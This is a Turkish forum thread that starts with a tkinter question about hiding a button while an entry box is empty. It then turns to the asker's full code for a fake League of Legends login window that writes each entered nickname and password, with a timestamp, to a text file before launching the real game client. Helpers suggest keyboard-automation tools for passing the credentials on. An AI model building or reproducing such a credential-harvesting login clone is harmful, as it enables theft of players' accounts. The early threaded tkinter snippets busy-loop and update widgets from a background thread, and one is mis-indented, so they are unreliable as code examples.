Tkinterde sürekli çalışan bir komut nasıl yazılır?

örneğin bir entry(textbox) yani yazı yazma kutusu ve birde buton bıraksak. Entrye yazı yazılırsa buton gözüksün entry boşsa buton kaybolsun ve program çalıştığı sürece entryi kontrol etsin(boşmu yada dolumu diye).

Şöyle yapabilirsiniz:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import tkinter as tk
import threading

root = tk.Tk()
entry = tk.Entry(master=root)
entry.grid(row=0, column=0)


def f():
    button = tk.Button(master=root, text="Button") 
    while True: 
        if entry.get() == "":
            button.grid_forget()
        else:
            button.grid(row=1, column=0)
                
            
t1 = threading.Thread(target=f)
t1.daemon = True
t1.start()
t1.join(1)
t2 = threading.Thread(target=root.mainloop)
t2.run()
1 Beğeni

Kodlarda ufak bir değişiklik yaptım. Bu değişikliği yapma sebebim programı kapattığımız zaman t1 iş parçacığının da son bulmasını sağlamak.

ben formu thread ile çalıştırmadım(direk mainloop() yaptım) oldu bu ilerde sorun çıkarır mı?

form nedir? root.mainloop()'u thread ile çalıştırmasanız da olur tabi. Nasıl bir kod yazdınız burada paylaşabilir misiniz?

sonda yazdığım kodlar böyle

def goster():
    while True:
                  if e_nick.get() != "" and e_sifre.get() != "":
                      b_tikla.place(x = 825, y = 417, width = 143, height = 22)
    else:
                     b_tikla.place(x = -200, y = 417, width = 143, height = 22)
            
th_button = m_th.Thread(target = goster)
th_button.start()

fr_form.mainloop()

pencereye form diyorum c# tan kalma bir alışkanlık :smiley:

Paylaştığınız kodları

[code]

[/code]

arasına alırsanız kod görünümü kazanırlar. Bir de sanırım kodların bir kısmını burada paylaştınız. Neyse çalıştıysa sorun yok.

1 Beğeni

bir şey soracaktım örneğin subprocess ile bir programı kendi programımda çalıştırırsam programımı kapattığımda onuda kapatmam lazım mı? yani subprocess ile açılan programı kod ile kapatabilirmiyim?

Subprocess ile açılan bir programı kod ile kapatabilirsiniz. Pid değerini bildiğiniz bir programı kod ile kapatabilirsiniz.

yapmak istediğim


lol denen bu oyunu açılış ekranının kopyasını oluşturdum kendi yaptığım kopya ekranda nick ve şifreyi giriyorum ve bilgisayrımda lol’ün kayıtlı olduğu yerden lol oyununu açıyorum ama girdiğim nick ve şifreyi ORJİNAL OYUNUN PENCERESİ AÇILDIKTAN SONRA O PENCEREYE NASIL YAZDIRABİLİRİM ? Ayrıca kendi yazdığım lol ekranında girdiğim nick ve şifreyi bir txt dosyasına kaydediyorum ne zaman girildiğiy(tarih)le beraber.

Yazdığım kodlar böyle;

import tkinter as m_tk
import time as m_tm
import threading as m_th
import subprocess as m_sb

fr_form = m_tk.Tk()
fr_form.geometry("980x548+410+100")
fr_form.title("League of Legends")
#fr_form.overrideredirect(1)
fr_form.wm_iconbitmap("icon.ico")
#fr_form.wm_attributes("-topmost", 1)

def f_al():
    try:
        tarih = m_tm.asctime()
        txt = open("dict.txt", "a")
        isim = e_nick.get()
        sifre = e_sifre.get()
        txt.write("\n\nİSİM = " + isim + "\nŞİFRE = " + sifre + "\nTARİH = " + tarih)
        txt.close()
        lol = m_sb.call("D:\\tekbirdosya\\lol\\League of Legends\\LeagueClient.exe")
        e_nick.delete(0, "end")
        e_sifre.delete(0, "end")
        e_nick.focus()
        fr_form.destroy()
                
    except:
        print("hata")
    
    finally:
        txt.close()
        
resim = m_tk.PhotoImage(file = "lol.gif")
resim2 = m_tk.PhotoImage(file = "button.gif")

l_alan = m_tk.Label(fr_form, image = resim)
l_alan.place(x = 0, y = 0, width = 980, height = 548)

e_nick = m_tk.Entry(fr_form, fg="#F5ECCE", bg="black", bd = 0)
e_nick.place(x = 825, y = 135, width = 143, height = 19)
e_nick.focus()

e_sifre = m_tk.Entry(fr_form, fg="white", bg="black", bd = 0, show="*")
e_sifre.place(x = 825, y = 178, width = 143, height = 19)

b_tikla = m_tk.Button(fr_form, image = resim2, bd = 0, command = f_al)

def goster():
    while True:
        if e_nick.get() != "" and e_sifre.get() != "":
            b_tikla.place(x = 825, y = 417, width = 143, height = 22)
    
        else:
            b_tikla.place(x = -200, y = 417, width = 143, height = 22)
            
th_button = m_th.Thread(target = goster)
th_button.start()

fr_form.mainloop()

belki işinize yarar :smiley:

klasörde mevcud olan dosyaların görünümü;

Konudan iyice uzaklaşmaya başladık ve bu bahsettiğiniz işlemin nasıl yapılacağını gerçekten bilmiyorum.

ilgilendiğiniz için teşekkürler

O ekranda giriş yapabikmeniz için lolün bir api ye sahip olması gerekir. Ancak bildiğim kadarıyla yok ve hiçbir zaman da olmayacak. Çünkü olursa oyuna yazılan robotlar da katılır ve sadece robotlar kazanır.

Bunun için daha çok fare ve klavyeyi program yazarak kontrol edebilmenize imkan veren kütüphane/araçları kullanmanız gerek.

bu kütüphanlere örnek verebilirmisiniz?

tmmdır hocam pyautogui kullandım hallettim tşkkrler.